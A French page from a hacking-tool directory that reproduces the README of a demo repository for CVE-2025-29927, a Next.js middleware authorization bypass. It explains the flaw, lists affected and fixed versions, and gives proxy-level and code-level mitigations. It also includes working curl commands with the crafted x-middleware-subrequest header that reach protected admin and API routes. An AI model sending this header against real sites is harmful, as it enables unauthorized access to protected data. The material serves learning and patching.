Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
nextjs-cve-demo — Démonstration de la vulnérabilité de contournement d'autorisation du Middleware dans Next.js (CVE-2025-29927) permettant à des utilisateurs non autorisés d'accéder à des informations protégées. | Kitploit
Outils/GitHubGitHub/lstudlo/nextjs-cve-demo
Authentification et AutorisationAnalyse des VulnérabilitésExploitation d'Applications WebTests de Sécurité des APIMauvaise ConfigurationApprentissage et Éducation
GitHublstudlo/nextjs-cve-demo

nextjs-cve-demo

Démonstration de la vulnérabilité de contournement d'autorisation du Middleware dans Next.js (CVE-2025-29927) permettant à des utilisateurs non autorisés d'accéder à des informations protégées.

Voir le dépôt
23il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Exemple : Contournement d'autorisation dans le middleware Next.js (CVE-2025-29927)

Ce repo fournit un projet d'exemple qui démontre la vulnérabilité de contournement d'autorisation dans le middleware Next.js (CVE-2025-29927). Cette vulnérabilité permet à des utilisateurs non autorisés d'accéder à des ressources protégées.

Aperçu de la vulnérabilité

CVE-2025-29927 est une vulnérabilité de sécurité grave (score CVSS : 9.1) affectant le système de middleware de Next.js. Un attaquant peut contourner complètement les vérifications de sécurité du middleware en ajoutant un en-tête x-middleware-subrequest spécialement conçu à la requête HTTP.

Versions affectées

  • Next.js 11.1.4 à 13.5.6
  • Next.js 14.x versions antérieures à 14.2.25
  • Next.js 15.x versions antérieures à 15.2.3

Impact de la vulnérabilité

  • Contournement d'autorisation : un attaquant peut accéder à des chemins protégés (comme /admin) sans authentification
  • Contournement de la sécurité de l'API : peut accéder à des points de terminaison API protégés (comme /api/confidential)
  • Contournement des en-têtes de sécurité : si les en-têtes de sécurité comme CSP, HSTS sont définis dans le middleware, ils seront également contournés

Prérequis

  1. Node.js et npm installés
  2. Accédez au répertoire avec cd et exécutez npm install pour installer les dépendances
  3. Exécutez npm run dev pour lancer le serveur de développement Next.js
  4. Ouvrez http://localhost:3000 dans votre navigateur pour voir l'état actuel du site

Comprendre le principe de la vulnérabilité

Next.js utilise un en-tête interne x-middleware-subrequest pour empêcher les appels récursifs du middleware de provoquer une boucle infinie. Cependant, cet en-tête peut être exploité par des requêtes externes. Lorsque la requête contient cet en-tête et atteint la profondeur de récursion maximale (MAX_RECURSION_DEPTH), Next.js ignore complètement l'exécution du middleware.

Comment reproduire la vulnérabilité

Étape 1 : Accéder normalement au chemin protégé (sera bloqué)

Tout d'abord, essayez d'accéder normalement au chemin protégé :

root@kitploit:~
# 訪問受保護的管理員頁面
curl http://localhost:3000/admin/dashboard -v

Résultat attendu : sera redirigé vers la page de connexion (302 redirect to /login)

root@kitploit:~
# 訪問受保護的 API
curl http://localhost:3000/api/confidential -v

Résultat attendu : renvoie une erreur 401 Unauthorized

Étape 2 : Contourner le middleware en utilisant la vulnérabilité

Maintenant, utilisez un en-tête spécialement conçu pour contourner le middleware :

root@kitploit:~
# 繞過 /admin 路徑保護
curl http://localhost:3000/admin/dashboard \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

Résultat attendu : accès réussi au contenu de la page d'administration (200 OK)

root@kitploit:~
# 繞過 /api/confidential 保護
curl http://localhost:3000/api/confidential \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

Résultat attendu : accès réussi à l'API et obtention d'informations confidentielles (200 OK)

Étape 3 : Tester avec un navigateur

Vous pouvez également utiliser les outils de développement du navigateur pour tester :

  1. Ouvrez les outils de développement du navigateur (F12)
  2. Basculez vers l'onglet Network
  3. Utilisez l'extension ModHeader ou un outil similaire pour ajouter un en-tête :
    • Header Name: x-middleware-subrequest
    • Header Value: middleware:middleware:middleware:middleware:middleware
  4. Accédez à http://localhost:3000/admin/dashboard
  5. Vous devriez voir le contenu de la page d'administration, au lieu d'être redirigé

Explication de la vulnérabilité

Lorsque le middleware reçoit une requête contenant l'en-tête x-middleware-subrequest :

  1. Next.js considère qu'il s'agit d'un appel récursif interne
  2. Lorsque la valeur de l'en-tête contient suffisamment de marqueurs de middleware (5 répétitions), cela déclenche la limite MAX_RECURSION_DEPTH
  3. Pour éviter une boucle infinie, Next.js ignore complètement l'exécution du middleware
  4. La requête atteint directement la route cible, contournant tous les contrôles de sécurité

Correctifs / Solutions

1. Mettre à jour la version de Next.js

Mettez à jour vers les versions corrigées :

  • 12.x : mettez à jour vers 12.3.5 ou ultérieur
  • 13.x : mettez à jour vers 13.5.9 ou ultérieur
  • 14.x : mettez à jour vers 14.2.25 ou ultérieur
  • 15.x : mettez à jour vers 15.2.3 ou ultérieur

2. Mesures d'atténuation temporaires

Si une mise à jour immédiate n'est pas possible, vous pouvez bloquer les requêtes contenant l'en-tête x-middleware-subrequest au niveau du proxy inverse (Nginx, Apache, etc.) :

Exemple de configuration Nginx :

root@kitploit:~
location / {
    if ($http_x_middleware_subrequest) {
        return 403;
    }
    proxy_pass http://localhost:3000;
}

Exemple de configuration Apache :

root@kitploit:~
RequestHeader unset x-middleware-subrequest

3. Défense en profondeur

En plus du middleware, implémentez des vérifications d'authentification dans les gestionnaires de routes également :

root@kitploit:~
// 在 API 路由中添加額外的認證檢查
export async function GET(request) {
    // 不要只依賴 middleware,在這裡也檢查認證
    if (!isAuthenticated(request)) {
        return new Response('Unauthorized', { status: 401 });
    }
    // ... 處理請求
}

Références

  • Next.js Security Advisory (GHSA-f82v-jwr5-mffw)
  • CVE-2025-29927 Details
  • Next.js Middleware Documentation
Télécharger l’outil